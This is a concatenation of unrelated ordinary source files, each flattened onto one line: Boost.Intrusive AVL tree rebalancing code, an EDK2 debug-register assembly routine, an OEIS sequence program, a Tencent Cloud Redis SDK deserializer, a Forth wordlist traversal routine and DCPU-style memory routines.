<b>Requires</b>: p is a node of a tree. //! //! <b>Effects</b>: Returns true if p is the header of the tree. //! //! <b>Complexity</b>: Constant. //! //! <b>Throws</b>: Nothing. static bool is_header(const_node_ptr p) { return NodeTraits::get_balance(p) == NodeTraits::zero() && tree_algorithms::is_header(p); } static void rebalance_after_erasure(node_ptr header, node_ptr x, node_ptr x_parent) { node_ptr root = NodeTraits::get_parent(header); while (x != root) { const balance x_parent_balance = NodeTraits::get_balance(x_parent); if(x_parent_balance == NodeTraits::zero()){ NodeTraits::set_balance(x_parent, (x == NodeTraits::get_right(x_parent) ? NodeTraits::negative() : NodeTraits::positive())); break; // the height didn't change, let's stop here } else if(x_parent_balance == NodeTraits::negative()){ if (x == NodeTraits::get_left(x_parent)) { NodeTraits::set_balance(x_parent, NodeTraits::zero()); // balanced x = x_parent; x_parent = NodeTraits::get_parent(x_parent); } else { // x is right child // a is left child node_ptr a = NodeTraits::get_left(x_parent); assert(a); if (NodeTraits::get_balance(a) == NodeTraits::positive()) { // a MUST have a right child assert(NodeTraits::get_right(a)); rotate_left_right(x_parent, root); x = NodeTraits::get_parent(x_parent); x_parent = NodeTraits::get_parent(x); } else { rotate_right(x_parent, root); x = NodeTraits::get_parent(x_parent); x_parent = NodeTraits::get_parent(x); } // if changed from negative to NodeTraits::positive(), no need to check above if (NodeTraits::get_balance(x) == NodeTraits::positive()){ break; } } } else if(x_parent_balance == NodeTraits::positive()){ if (x == NodeTraits::get_right(x_parent)) { NodeTraits::set_balance(x_parent, NodeTraits::zero()); // balanced x = x_parent; x_parent = NodeTraits::get_parent(x_parent); } else { // x is left child // a is right child node_ptr a = NodeTraits::get_right(x_parent); assert(a); if (NodeTraits::get_balance(a) == NodeTraits::negative()) { // a MUST have then a left child assert(NodeTraits::get_left(a)); rotate_right_left(x_parent, root); x = NodeTraits::get_parent(x_parent); x_parent = NodeTraits::get_parent(x); } else { rotate_left(x_parent, root); x = NodeTraits::get_parent(x_parent); x_parent = NodeTraits::get_parent(x); } // if changed from NodeTraits::positive() to negative, no need to check above if (NodeTraits::get_balance(x) == NodeTraits::negative()){ break; } } } else{ assert(false); // never reached } } NodeTraits::set_parent(header, root); } static void rebalance_after_insertion(node_ptr header, node_ptr x) { node_ptr root = NodeTraits::get_parent(header); NodeTraits::set_balance(x, NodeTraits::zero()); // Rebalance. while (x != root){ const balance x_parent_balance = NodeTraits::get_balance(NodeTraits::get_parent(x)); if(x_parent_balance == NodeTraits::zero()){ // if x is left, parent will have parent->bal_factor = negative // else, parent->bal_factor = NodeTraits::positive() NodeTraits::set_balance( NodeTraits::get_parent(x) , x == NodeTraits::get_left(NodeTraits::get_parent(x)) ? NodeTraits::negative() : NodeTraits::positive() ); x = NodeTraits::get_parent(x); } else if(x_parent_balance == NodeTraits::positive()){ // if x is a left child, parent->bal_factor = zero if (x == NodeTraits::get_left(NodeTraits::get_parent(x))) NodeTraits::set_balance(NodeTraits::get_parent(x), NodeTraits::zero()); else{ // x is a right child, needs rebalancing if (NodeTraits::get_balance(x) == NodeTraits::negative()) rotate_right_left(NodeTraits::get_parent(x), root); else rotate_left(NodeTraits::get_parent(x), root); } break; } else if(x_parent_balance == NodeTraits::negative()){ // if x is a left child, needs rebalancing if (x == NodeTraits::get_left(NodeTraits::get_parent(x))) { if (NodeTraits::get_balance(x) == NodeTraits::positive()) rotate_left_right(NodeTraits::get_parent(x), root); else rotate_right(NodeTraits::get_parent(x), root); } else NodeTraits::set_balance(NodeTraits::get_parent(x), NodeTraits::zero()); break; } else{ assert(false); // never reached } } NodeTraits::set_parent(header, root); } static void rotate_left_right(node_ptr a, node_ptr &root) { // | | // // a(-2) c // // / \ / \ // // / \ ==> / \ // // (pos)b [g] b a // // / \ / \ / \ // // [d] c [d] e f [g] // // / \ // // e f // node_ptr b = NodeTraits::get_left(a), c = NodeTraits::get_right(b); // switch NodeTraits::set_left(a, NodeTraits::get_right(c)); NodeTraits::set_right(b, NodeTraits::get_left(c)); NodeTraits::set_right(c, a); NodeTraits::set_left(c, b); // set the parents NodeTraits::set_parent(c, NodeTraits::get_parent(a)); NodeTraits::set_parent(a, c); NodeTraits::set_parent(b, c); if (NodeTraits::get_left(a)) // do we have f? NodeTraits::set_parent(NodeTraits::get_left(a), a); if (NodeTraits::get_right(b)) // do we have e? NodeTraits::set_parent(NodeTraits::get_right(b), b); if (a==root) root = c; else // a had a parent, his child is now c if (a == NodeTraits::get_left(NodeTraits::get_parent(c))) NodeTraits::set_left(NodeTraits::get_parent(c), c); else NodeTraits::set_right(NodeTraits::get_parent(c), c); // balancing... const balance c_balance = NodeTraits::get_balance(c); if(c_balance == NodeTraits::negative()){ NodeTraits::set_balance(a, NodeTraits::positive()); NodeTraits::set_balance(b, NodeTraits::zero()); } else if(c_balance == NodeTraits::zero()){ NodeTraits::set_balance(a, NodeTraits::zero()); NodeTraits::set_balance(b, NodeTraits::zero()); } else if(c_balance == NodeTraits::positive()){ NodeTraits::set_balance(a, NodeTraits::zero()); NodeTraits::set_balance(b, NodeTraits::negative()); } else{ assert(false); // never reached } NodeTraits::set_balance(c, NodeTraits::zero()); } static void rotate_right_left(node_ptr a, node_ptr &root) { // | | // // a(pos) c // // / \ / \ // // / \ / \ // // [d] b(neg) ==> a b // // / \ / \ / \ // // c [g] [d] e f [g] // // / \ // // e f // node_ptr b = NodeTraits::get_right(a), c = NodeTraits::get_left(b); // switch NodeTraits::set_right(a, NodeTraits::get_left(c)); NodeTraits::set_left(b, NodeTraits::get_right(c)); NodeTraits::set_left(c, a); NodeTraits::set_right(c, b); // set the parents NodeTraits::set_parent(c, NodeTraits::get_parent(a)); NodeTraits::set_parent(a, c); NodeTraits::set_parent(b, c); if (NodeTraits::get_right(a)) // do we have e? NodeTraits::set_parent(NodeTraits::get_right(a), a); if (NodeTraits::get_left(b)) // do we have f? NodeTraits::set_parent(NodeTraits::get_left(b), b); if (a==root) root = c; else // a had a parent, his child is now c if (a == NodeTraits::get_left(NodeTraits::get_parent(c))) NodeTraits::set_left(NodeTraits::get_parent(c), c); else NodeTraits::set_right(NodeTraits::get_parent(c), c); // balancing... const balance c_balance = NodeTraits::get_balance(c); if(c_balance == NodeTraits::negative()){ NodeTraits::set_balance(a, NodeTraits::zero()); NodeTraits::set_balance(b, NodeTraits::positive()); } else if(c_balance == NodeTraits::zero()){ NodeTraits::set_balance(a, NodeTraits::zero()); NodeTraits::set_balance(b, NodeTraits::zero()); } else if(c_balance == NodeTraits::positive()){ NodeTraits::set_balance(a, NodeTraits::negative()); NodeTraits::set_balance(b, NodeTraits::zero()); } else{ assert(false); } NodeTraits::set_balance(c, NodeTraits::zero()); } static void rotate_left(node_ptr x, node_ptr & root) { // | | // // x(2) y(0) // // / \ ==> / \ // // n[a] y(1)n+2 n+1(0)x [c]n+1 // // / \ / \ // // n[b] [c]n+1 n[a] [b]n // node_ptr y = NodeTraits::get_right(x); // switch NodeTraits::set_right(x, NodeTraits::get_left(y)); NodeTraits::set_left(y, x); // rearrange parents NodeTraits::set_parent(y, NodeTraits::get_parent(x)); NodeTraits::set_parent(x, y); // do we have [b]? if (NodeTraits::get_right(x)) NodeTraits::set_parent(NodeTraits::get_right(x), x); if (x == root) root = y; else // need to reparent y if (NodeTraits::get_left(NodeTraits::get_parent(y)) == x) NodeTraits::set_left(NodeTraits::get_parent(y), y); else NodeTraits::set_right(NodeTraits::get_parent(y), y); // reset the balancing factor if (NodeTraits::get_balance(y) == NodeTraits::positive()) { NodeTraits::set_balance(x, NodeTraits::zero()); NodeTraits::set_balance(y, NodeTraits::zero()); } else { // this doesn't happen during insertions NodeTraits::set_balance(x, NodeTraits::positive()); NodeTraits::set_balance(y, NodeTraits::negative()); } } static void rotate_right(node_ptr x, node_ptr &root) { node_ptr y = NodeTraits::get_left(x); // switch NodeTraits::set_left(x, NodeTraits::get_right(y)); NodeTraits::set_right(y, x); // rearrange parents NodeTraits::set_parent(y, NodeTraits::get_parent(x)); NodeTraits::set_parent(x, y); // do we have [b]? if (NodeTraits::get_left(x)) NodeTraits::set_parent(NodeTraits::get_left(x), x); if (x == root) root = y; else // need to reparent y if (NodeTraits::get_left(NodeTraits::get_parent(y)) == x) NodeTraits::set_left(NodeTraits::get_parent(y), y); else NodeTraits::set_right(NodeTraits::get_parent(y), y); // reset the balancing factor if (NodeTraits::get_balance(y) == NodeTraits::negative()) { NodeTraits::set_balance(x, NodeTraits::zero()); NodeTraits::set_balance(y, NodeTraits::zero()); } else { // this doesn't happen during insertions NodeTraits::set_balance(x, NodeTraits::negative()); NodeTraits::set_balance(y, NodeTraits::positive()); } } /// @endcond }; } //namespace intrusive } //namespace boost #include <boost/intrusive/detail/config_end.hpp> #endif //BOOST_INTRUSIVE_AVLTREE_ALGORITHMS_HPP
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006 - 2022, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; ReadDr4.Asm ; ; Abstract: ; ; AsmReadDr4 function ; ; Notes: ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; UINTN ; EFIAPI ; AsmReadDr4 ( ; VOID ; ); ;------------------------------------------------------------------------------ global ASM_PFX(AsmReadDr4) ASM_PFX(AsmReadDr4): ; ; DR4 is alias to DR6 only if DE (in CR4) is cleared. Otherwise, reading ; this register will cause a #UD exception. ; ; MS assembler doesn't support this instruction since no one would use it ; under normal circustances. ; mov eax, dr4 ret
%ifdef CONFIG { "RegData": { "MM7": ["0x8000000000000000", "0x3fff"] }, "Mode": "32BIT" } %endif lea edx, [.data] fld dword [edx + 8 * 0] hlt .data: dq 0x3f800000
; A044615: Numbers n such that string 5,7 occurs in the base 8 representation of n but not of n+1. ; 47,111,175,239,303,367,383,431,495,559,623,687,751,815,879,895,943,1007,1071,1135,1199,1263,1327,1391,1407,1455,1519,1583,1647,1711,1775,1839,1903,1919,1967,2031,2095,2159,2223,2287,2351 seq $0,44235 ; Numbers n such that string 6,0 occurs in the base 8 representation of n but not of n-1. sub $0,1
/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <tencentcloud/redis/v20180412/model/DescribeInstanceMonitorBigKeySizeDistResponse.h> #include <tencentcloud/core/utils/rapidjson/document.h> #include <tencentcloud/core/utils/rapidjson/writer.h> #include <tencentcloud/core/utils/rapidjson/stringbuffer.h> using TencentCloud::CoreInternalOutcome; using namespace TencentCloud::Redis::V20180412::Model; using namespace std; DescribeInstanceMonitorBigKeySizeDistResponse::DescribeInstanceMonitorBigKeySizeDistResponse() : m_dataHasBeenSet(false) { } CoreInternalOutcome DescribeInstanceMonitorBigKeySizeDistResponse::Deserialize(const string &payload) { rapidjson::Document d; d.Parse(payload.c_str()); if (d.HasParseError() || !d.IsObject()) { return CoreInternalOutcome(Core::Error("response not json format")); } if (!d.HasMember("Response") || !d["Response"].IsObject()) { return CoreInternalOutcome(Core::Error("response `Response` is null or not object")); } rapidjson::Value &rsp = d["Response"]; if (!rsp.HasMember("RequestId") || !rsp["RequestId"].IsString()) { return CoreInternalOutcome(Core::Error("response `Response.RequestId` is null or not string")); } string requestId(rsp["RequestId"].GetString()); SetRequestId(requestId); if (rsp.HasMember("Error")) { if (!rsp["Error"].IsObject() || !rsp["Error"].HasMember("Code") || !rsp["Error"]["Code"].IsString() || !rsp["Error"].HasMember("Message") || !rsp["Error"]["Message"].IsString()) { return CoreInternalOutcome(Core::Error("response `Response.Error` format error").SetRequestId(requestId)); } string errorCode(rsp["Error"]["Code"].GetString()); string errorMsg(rsp["Error"]["Message"].GetString()); return CoreInternalOutcome(Core::Error(errorCode, errorMsg).SetRequestId(requestId)); } if (rsp.HasMember("Data") && !rsp["Data"].IsNull()) { if (!rsp["Data"].IsArray()) return CoreInternalOutcome(Core::Error("response `Data` is not array type")); const rapidjson::Value &tmpValue = rsp["Data"]; for (rapidjson::Value::ConstValueIterator itr = tmpValue.Begin(); itr != tmpValue.End(); ++itr) { DelayDistribution item; CoreInternalOutcome outcome = item.Deserialize(*itr); if (!outcome.IsSuccess()) { outcome.GetError().SetRequestId(requestId); return outcome; } m_data.push_back(item); } m_dataHasBeenSet = true; } return CoreInternalOutcome(true); } string DescribeInstanceMonitorBigKeySizeDistResponse::ToJsonString() const { rapidjson::Document value; value.SetObject(); rapidjson::Document::AllocatorType& allocator = value.GetAllocator(); if (m_dataHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "Data"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(rapidjson::kArrayType).Move(), allocator); int i=0; for (auto itr = m_data.begin(); itr != m_data.end(); ++itr, ++i) { value[key.c_str()].PushBack(rapidjson::Value(rapidjson::kObjectType).Move(), allocator); (*itr).ToJsonObject(value[key.c_str()][i], allocator); } } rapidjson::Value iKey(rapidjson::kStringType); string key = "RequestId"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value().SetString(GetRequestId().c_str(), allocator), allocator); rapidjson::StringBuffer buffer; rapidjson::Writer<rapidjson::StringBuffer> writer(buffer); value.Accept(writer); return buffer.GetString(); } vector<DelayDistribution> DescribeInstanceMonitorBigKeySizeDistResponse::GetData() const { return m_data; } bool DescribeInstanceMonitorBigKeySizeDistResponse::DataHasBeenSet() const { return m_dataHasBeenSet; }
; PURPOSE: Traverse wordlist - words and structure ; LICENSE: Unlicense since 1999 by Illya Kysil ; WID>VT ; D: ( wid -- wid-vt-addr ) $CODE 'WID>VT',$WID_TO_VT POPDS EAX ADD EAX,CELL_SIZE * 3 PUSHDS EAX $NEXT ; : WL>LATEST (S wordlist-id -- latest-word-addr ) ; ; $COLON 'WL>LATEST',$WLTOLATEST $END_COLON ; : TRAVERSE-WORDLIST ; (S i * x xt wid -- j * x ) ; (G Remove wid and xt from the stack. Execute xt once for every word in the wordlist wid, ; passing the name token nt of the word to xt, until the wordlist is exhausted or until xt returns false. ; ; The invoked xt has the stack effect [ k * x nt -- l * x flag ]. ; ; If flag is true, TRAVERSE-WORDLIST will continue with the next name, otherwise it will return. ; TRAVERSE-WORDLIST does not put any items other than nt on the stack when calling xt, ; so that xt can access and modify the rest of the stack. ; ; TRAVERSE-WORDLIST may visit words in any order, with one exception: ; words with the same name are called in the order newest-to-oldest, possibly with other words in between. ; ; An ambiguous condition exists if words are added to or deleted from the wordlist wid ; during the execution of TRAVERSE-WORDLIST. ) ; SWAP >R ; WL>LATEST @ ; BEGIN ; DUP 0<> ; WHILE ; R@ OVER >R EXECUTE R> SWAP ; IF NAME>NEXT ELSE DROP 0 THEN ; REPEAT ; DROP R> DROP ; ; ; STDWL-TRAVERSE ; ( i * x xt wid -- j * x ) $COLON 'STDWL-TRAVERSE',$STDWL_TRAVERSE CW $WLTOLATEST, $FETCH CW $SWAP, $TO_R _BEGIN STDWLTW_LOOP CW $DUPE, $ZERO_NOT_EQUALS _WHILE STDWLTW_LOOP CW $R_FETCH, $OVER, $TO_R, $EXECUTE, $R_FROM, $SWAP _IF STDWLTW_CONTINUE CW $NAME_TO_NEXT _ELSE STDWLTW_CONTINUE CW $DROP, $ZERO _THEN STDWLTW_CONTINUE _REPEAT STDWLTW_LOOP CW $DROP, $R_FROM, $DROP $END_COLON
.dst_addr DAT 0 .src_addr DAT 0 ; IN ; +1 Destination address ; +2 Value ; +3 Count ; OUT ; None :write_mem STO Z,SP STO [dst_addr],[Z+1] STO Y,[Z+2] STO J,[Z+3] STO A,0 :write_mem_loop STO X,[dst_addr] ADD X,A STO [X],Y ADD A,1 IFL A,J JMP write_mem_loop STO SP,Z RET ; IN ; +1 Destination address ; +2 Source address ; +3 Count ; OUT ; None :copy_mem STO Z,SP STO [dst_addr],[Z+1] STO [src_addr],[Z+2] STO J,[Z+3] STO A,0 :copy_mem_loop STO X,[dst_addr] STO Y,[src_addr] ADD X,A ADD Y,A STO [X],[Y] ADD A,1 IFL A,J JMP copy_mem_loop STO SP,Z RET